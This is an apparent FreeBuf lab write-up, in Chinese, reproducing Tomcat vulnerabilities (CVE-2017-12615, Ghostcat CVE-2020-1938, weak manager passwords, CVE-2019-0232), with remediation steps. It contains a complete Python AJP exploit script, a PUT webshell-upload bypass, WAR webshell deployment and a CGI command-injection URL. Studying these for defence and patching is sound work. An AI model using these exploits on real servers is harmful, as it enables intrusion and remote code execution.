freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Tomcat中间件漏洞复现
2022-08-10 14:24:24
所属地 广东省


一 前言

Tomcat介绍

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。Tomcat和IIS等Web服务器一样,具有处理HTML页面的功能,不过,Tomcat处理静态HTML的能力不如Apache服务器。另外它还是一个Servlet和JSP容器,独立的Servlet容器是Tomcat的默认模式。

Servlet介绍

Servlet处理请求和发送响应,并且Servlet是为了解决实现动态页面而衍生的东西。

Tomcat和servlet联系

Tomcat 是Web应用服务器,是一个Servlet/JSP容器。Tomcat 作为Servlet容器,负责处理客户请求,把请求传送给Servlet,并将Servlet的响应传送回给客户。而Servlet是一种运行在支持Java语言的服务器上的组件, 是CGI替代品。

1657632547_62cd7723d0806ccd7e176.png!small?1657632548053

(这里web服务器可以为apache)

Tomcat目录结构:

bintomcat启动与停止脚本,启动前需要
confTomcat配置文件 server.xml
LibTomcat依赖jar文件,连接数据库,就需要jar支持
LogsTomcat的日志文件,catalina.out
TempTomcat临时目录
WebappsTomcat的默认站点路径 webapps/ROOT
WorkTomcat缓存目录

Tomcat配置文件

server.xml:配置tomcat启动的端口号、host主机、context等

web.xml:部署描述文件,部署每个webapp时都会调用该文件,配置该web应用的默认servlet

tomcat-user.xml:tomcat的用户密码和权限


二 漏洞

任意文件写入(CVE-2017-12615)

原理:

Tomcat设置了写权限(readonly=false),导致可以向服务器写入文件。

影响范围:

Apache Tomcat 7.0.0-7.0.81(默认配置)

如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的远程执行代码(RCE)漏洞。

复现:vulnhub

开启容器:docker-compose up -d,tomcat版本为8.5.19

1658285316_62d76d045a1f9cc94ae9e.png!small?1658285316908

查看自己的容器id (CONTAINER_ID): docker ps -a

进入容器的终端并且保留为容器终端的输入形式:docker exec -ti 997a186c4489 bash  (997a186c4489为CONTAINER_ID)

补充:

-ti : 要等在容器内的命令执行完毕才会出来到当前操作; 没有加-ti就相当于在容器内执行一下命令,不等容器内部是否执行完毕直接出来

查看conf/web.xml文件,可以看到readonly设置为false

1658286983_62d77387b483136394b8d.png!small?1658286984259

访问8080端口抓包

把get换为put,将内容写入指定位置 /test.txt

1658297155_62d79b439c6be8dffb9f8.png!small?1658297156174

查看 /usr/local/tomcat/webapps/ROOT里面的文件,发现写入成功

1658297155_62d79b438630e472c907f.png!small?1658297156175

1658297219_62d79b83793a0dedafd56.png!small?1658297220073

put可以上传任意文件,因此我们可以尝试写入冰蝎的jsp木马,失败,可能tomcat自己会过滤jsp文件

1658300678_62d7a9064466d11d56109.png!small?1658300678925

尝试绕过,修改路径 /test.jsp/(/ 在文件名中是非法的,在windows和linux中都会自动去除),上传成功

1658300678_62d7a906440734840fdce.png!small?1658300678926

冰蝎连接

1658300748_62d7a94c45da9f9217514.png!small?1658300748940

修复:

将readonly设置为true,设为false就是允许用户使用PUT和deleate方法


文件包含漏洞(CVE-2020-1938)+ getshell

原理:

由于 Tomcat AJP协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector可以读取或包含 Tomcat上所有 webapp目录下的任意文件。用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果可以上传文件就可以获取shell。

https://blog.csdn.net/SouthWind0/article/details/105147652/

影响版本:

apache  tomcat6.x、7.x < 7.0.100 、8.x < 8.5.51 、9.x < 9.0.31

补充内容:

Tomcat服务器通过Connector连接器组件与客户程序建立连接,Connector表示接收请求并返回响应的端点。即Connector组件负责接收客户的请求,以及把Tomcat服务器的响应结果发送给客户。

Tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,用于处理 AJP 协议的请求,AJP比http更加优化,多用于反向、集群等。两个端口默认均监听在外网ip。


Ajp协议对应的配置为:

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

1658303947_62d7b5cbb578231bf59a4.png!small?1658303948651

(web客户访问tomcat不同方式)

复现:

查看开放端口,发现有8009端口

1658889806_62e0a64eec98556fb363c.png!small?1658889806582

补充:

ajp13是一个二进制的TCP传输协议,相比HTTP这种纯文本的协议来说,效率和性能更高,也做了很多优化。但是浏览器不支持AJP13协议,只支持HTTP协议。通过Apache的proxy_ajp模块进行反向代理,暴露成http协议给客户端访问。

tomcat的配置大部分都是关闭AJP协议端口的,因为除了Apache之外别的http server几乎都不能反代AJP13协议

使用脚本读取web.xml文件:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

该脚本只支持python2,python3下面脚本语句要进行修改

1 self.socket.makefile("rb", bufsize=0) --> self.socket.makefile("rb", buffering=0)

2 print("".join([d.data for d in data])) -->print("".join([d.data.decode() for d in data]))

查看web.xml文件

1658993731_62e23c438f8aa09adabff.png!small?1658993731407

上述该脚本只能读取文件源码,却不能进行rce

重新找了一个工具脚本(源码在下面)

之后上传jsp语句文件

1659087476_62e3aa74d07526463817f.png!small?1659087477523

查看文件源码,之后包含文件漏洞利用,成功输出assion,文件包含漏洞存在。

1659085519_62e3a2cf3154a461468f7.png!small?1659085519977

之后尝试getshell,先生成一个java的反向连接的木马

1659095789_62e3caed4d4cae40adc8a.png!small?1659095789938

复制木马到WEB-INF(这里是没有上传文件的功能,现实得有上传才可以利用)

1659096188_62e3cc7c1989e06445718.png!small?1659096188810

查看到上传成功

1659096333_62e3cd0da655bef420450.png!small?1659096334101

开启msfconsole ,然后进行攻击,参数设置如下

1659097599_62e3d1ff2e487a03ed73b.png!small?1659097599798

之后利用攻击脚本shell.txt文件包含

1659097641_62e3d229078ad9c18640b.png!small?1659097641530

查看到权限为root

1659097727_62e3d27faf5db7d508821.png!small?1659097728471

源码:

#!/usr/bin/env python
# CNVD-2020-10487  Tomcat-Ajp lfi
# by ydhcui
import struct
import io
import base64


# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
    if s is None:
        return struct.pack(">h", -1)
    l = len(s)
    return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)


def unpack(stream, fmt):
    size = struct.calcsize(fmt)
    buf = stream.read(size)
    return struct.unpack(fmt, buf)


def unpack_string(stream):
    size, = unpack(stream, ">h")
    if size == -1:  # null string
        return None
    res, = unpack(stream, "%ds" % size)
    stream.read(1)  # \0
    return res


class NotFoundException(Exception):
    pass


class AjpBodyRequest(object):
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    MAX_REQUEST_LENGTH = 8186

    def __init__(self, data_stream, data_len, data_direction=None):
        self.data_stream = data_stream
        self.data_len = data_len
        self.data_direction = data_direction

    def serialize(self):
        data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
        if len(data) == 0:
            return struct.pack(">bbH", 0x12, 0x34, 0x00)
        else:
            res = struct.pack(">H", len(data))
            res += data
        if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbH", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbH", 0x41, 0x42, len(res))
        return header + res

    def send_and_receive(self, socket, stream):
        while True:
            data = self.serialize()
            socket.send(data)
            r = AjpResponse.receive(stream)
            while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
                r = AjpResponse.receive(stream)

            if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
                break


class AjpForwardRequest(object):
    _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(
        28)
    REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE,
                       'TRACE': TRACE}
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    COMMON_HEADERS = ["SC_REQ_ACCEPT",
                      "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE",
                      "SC_REQ_AUTHORIZATION",
                      "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE",
                      "SC_REQ_COOKIE2",
                      "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
                      ]
    ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert",
                  "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]

    def __init__(self, data_direction=None):
        self.prefix_code = 0x02
        self.method = None
        self.protocol = None
        self.req_uri = None
        self.remote_addr = None
        self.remote_host = None
        self.server_name = None
        self.server_port = None
        self.is_ssl = None
        self.num_headers = None
        self.request_headers = None
        self.attributes = None
        self.data_direction = data_direction

    def pack_headers(self):
        self.num_headers = len(self.request_headers)
        res = ""
        res = struct.pack(">h", self.num_headers)
        for h_name in self.request_headers:
            if h_name.startswith("SC_REQ"):
                code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
                res += struct.pack("BB", 0xA0, code)
            else:
                res += pack_string(h_name)

            res += pack_string(self.request_headers[h_name])
        return res

    def pack_attributes(self):
        res = b""
        for attr in self.attributes:
            a_name = attr['name']
            code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
            res += struct.pack("b", code)
            if a_name == "req_attribute":
                aa_name, a_value = attr['value']
                res += pack_string(aa_name)
                res += pack_string(a_value)
            else:
                res += pack_string(attr['value'])
        res += struct.pack("B", 0xFF)
        return res

    def serialize(self):
        res = ""
        res = struct.pack("bb", self.prefix_code, self.method)
        res += pack_string(self.protocol)
        res += pack_string(self.req_uri)
        res += pack_string(self.remote_addr)
        res += pack_string(self.remote_host)
        res += pack_string(self.server_name)
        res += struct.pack(">h", self.server_port)
        res += struct.pack("?", self.is_ssl)
        res += self.pack_headers()
        res += self.pack_attributes()
        if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbh", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbh", 0x41, 0x42, len(res))
        return header + res

    def parse(self, raw_packet):
        stream = io.StringIO(raw_packet)
        self.magic1, self.magic2, data_len = unpack(stream, "bbH")
        self.prefix_code, self.method = unpack(stream, "bb")
        self.protocol = unpack_string(stream)
        self.req_uri = unpack_string(stream)
        self.remote_addr = unpack_string(stream)
        self.remote_host = unpack_string(stream)
        self.server_name = unpack_string(stream)
        self.server_port = unpack(stream, ">h")
        self.is_ssl = unpack(stream, "?")
        self.num_headers, = unpack(stream, ">H")
        self.request_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code > 0xA000:
                h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
            else:
                h_name = unpack(stream, "%ds" % code)
                stream.read(1)  # \0
            h_value = unpack_string(stream)
            self.request_headers[h_name] = h_value

    def send_and_receive(self, socket, stream, save_cookies=False):
        res = []
        i = socket.sendall(self.serialize())
        if self.method == AjpForwardRequest.POST:
            return res

        r = AjpResponse.receive(stream)
        assert r.prefix_code == AjpResponse.SEND_HEADERS
        res.append(r)
        if save_cookies and 'Set-Cookie' in r.response_headers:
            self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

        # read body chunks and end response packets
        while True:
            r = AjpResponse.receive(stream)
            res.append(r)
            if r.prefix_code == AjpResponse.END_RESPONSE:
                break
            elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                continue
            else:
                raise NotImplementedError
                break

        return res


class AjpResponse(object):
    _, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
    COMMON_SEND_HEADERS = [
        "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
        "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
    ]

    def parse(self, stream):
        # read headers
        self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

        if self.prefix_code == AjpResponse.SEND_HEADERS:
            self.parse_send_headers(stream)
        elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
            self.parse_send_body_chunk(stream)
        elif self.prefix_code == AjpResponse.END_RESPONSE:
            self.parse_end_response(stream)
        elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
            self.parse_get_body_chunk(stream)
        else:
            raise NotImplementedError

    def parse_send_headers(self, stream):
        self.http_status_code, = unpack(stream, ">H")
        self.http_status_msg = unpack_string(stream)
        self.num_headers, = unpack(stream, ">H")
        self.response_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code <= 0xA000:  # custom header
                h_name, = unpack(stream, "%ds" % code)
                stream.read(1)  # \0
                h_value = unpack_string(stream)
            else:
                h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001]
                h_value = unpack_string(stream)
            self.response_headers[h_name] = h_value

    def parse_send_body_chunk(self, stream):
        self.data_length, = unpack(stream, ">H")
        self.data = stream.read(self.data_length + 1)

    def parse_end_response(self, stream):
        self.reuse, = unpack(stream, "b")

    def parse_get_body_chunk(self, stream):
        rlen, = unpack(stream, ">H")
        return rlen

    @staticmethod
    def receive(stream):
        r = AjpResponse()
        r.parse(stream)
        return r


import socket


def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = "HTTP/1.1"
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
        'SC_REQ_ACCEPT': 'text/html',
        'SC_REQ_CONNECTION': 'keep-alive',
        'SC_REQ_CONTENT_LENGTH': '0',
        'SC_REQ_HOST': target_host,
        'SC_REQ_USER_AGENT': 'Mozilla',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.5',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'
    }
    fr.is_ssl = False
    fr.attributes = []
    return fr


class Tomcat(object):
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.connect((target_host, target_port))
        self.stream = self.socket.makefile("rb", buffering=0)

    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
                                                           method=AjpForwardRequest.REQUEST_METHODS.get(method))
        print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        if user is not None and password is not None:
            self.forward_request.request_headers[
                'SC_REQ_AUTHORIZATION'] = f'Basic {base64.b64encode(f"{user}:{password}".encode()).decode()}'
        for h in headers:
            self.forward_request.request_headers[h] = headers[h]
        for a in attributes:
            self.forward_request.attributes.append(a)
        responses = self.forward_request.send_and_receive(self.socket, self.stream)
        if len(responses) == 0:
            return None, None
        snd_hdrs_res = responses[0]
        data_res = responses[1:-1]
        if len(data_res) == 0:
            print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
        return snd_hdrs_res, data_res


'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse

parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
parser.add_argument('--rce', type=bool, default=False, help="read file(default) or exec command")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_, data = t.perform_request(f'/hissec{".jsp" if args.rce else ""}', attributes=[
    {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
    {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
    {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
])
print('----------------------------')
print(''.join([d.data.decode('utf_8') for d in data]))

修复:

1.禁用AJP协议,在/conf/server.xml文件,删除或注释这行代码:

<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />

2.升级到tomcat最新版本

弱密码

环境:

docker tomcat8.0 (其中下面有些部分内容演示截图为CVE-2017-12615,因为8.0环境是已经配置好的了,不用自己修改)

复现:

2017 访问显示403,原因是/usr/local/tomcat/webapps/manager/META-INF/context.xml 文件设置了这两行,只能127网段局域网的机器,才有访问权限,注释这两行就可以了<!-- -->

1659145444_62e48ce4292385215fa99.png!small?1659145443670

docker安装vim出现的问题:(21条消息) Docker容器里的vi/vim命令安装_junmxiao-js的博客-CSDN博客

注释之后访问成功

1659148506_62e498da75a88a5cdecb2.png!small?1659148505785登录密码一般保存在tomcat/conf/tomcat-users.xml

8.0权限有

  • manager(后台管理)

    • manager-gui拥有html页面权限

    • manager-status拥有查看status的权限

    • manager-script拥有text接口权限(包括status权限)

    • manager-jmx拥有jmx权限(包括status权限)

  • host-manager(虚拟主机管理)

    • admin-gui拥有html页面权限

    • admin-script拥有text接口权限

文件配置

<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
    
</tomcat-users>

输入tomcat/tomcat之后,进入后台,发现有上传功能(或者抓包之后对Authorization字段进行爆破)

1659161529_62e4cbb9b2ba725e6f30d.png!small?1659161529096

先找一个冰蝎的jsp木马,然后放在jdk的bin目录下,之后路径cmd,生成一个war包

war包是用来进行Web开发时一个网站项目下的所有代码,包括前台HTML/CSS/JS代码,以及后台JavaWeb的代码。

1659162172_62e4ce3cf0e43fcc9ef01.png!small?1659162172419

上传war文件成功

1659163081_62e4d1c98787692864245.png!small?1659163081054

冰蝎连接,成功

1659163187_62e4d2330710cbcd1c33b.png!small?1659163186497

修复:

1 删除webapps目录中的docs、examples、host-manager、manager等正式环境用不着的目录

2 管理员尽量不使用弱口令

3 设置该网页只能本机可以访问


Tomcat 远程代码执行(CVE-2019-0232)

原理:

由于Tomcat CGI将命令行参数传递给Windows程序的方式存在错误,使得CHIServler被命令注入影响。该漏洞只影响Windows平台,要求启用了CGIServlet和enableCmdLineArguments参数。但是CGIServlet和enableCmdLineArguments参数默认情况下都不启用。

影响范围:

Apache Tomcat 7.0.0 ~ 7.0.93、 8.5.0 ~ 8.5.39、 9.0.0~9.0.17

当前测试版本:

Apache Tomcat  8.5.28

复现:

修改文件,修改 conf/context.xml 的 <Context> 添加 privileged="true"属性,否则会没有权限

1659191824_62e54210e07ee857d44d9.png!small

Tomcat的CGI_Servlet组件默认是关闭的,在 conf/web.xml 中找到注释的CGIServlet部分,去掉注释,并配置enableCmdLineArguments和executable。enableCmdLineArguments 启用后才会将Url中的参数传递到命令行, executable 指定了执行的二进制文件,默认是 perl,需要设置为空才会执行文件本身。

<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>

取消注释

1659304356_62e6f9a46efe0bf906cae.png!small

在apache-tomcat-8.5.28\webapps\ROOT\WEB-INF下新建目录cgi-bin,然后将att.bat放进该目录,att.bat内容

@echo off
echo Content-Type: test/plain
echo.
set foo=&~1
%foo%

访问该文件,成功下载该文件

1659304317_62e6f97d3f0e2e7fc5730.png!small

进行攻击,http://localhost:8080/cgi-bin/att.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe

成功弹出计算器

1659305152_62e6fcc06470eb9adbc0b.png!small

修复:

1关闭enableCmdLineArguments参数

2 更新新版本

# 渗透 # 漏洞复现 # 中间件
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录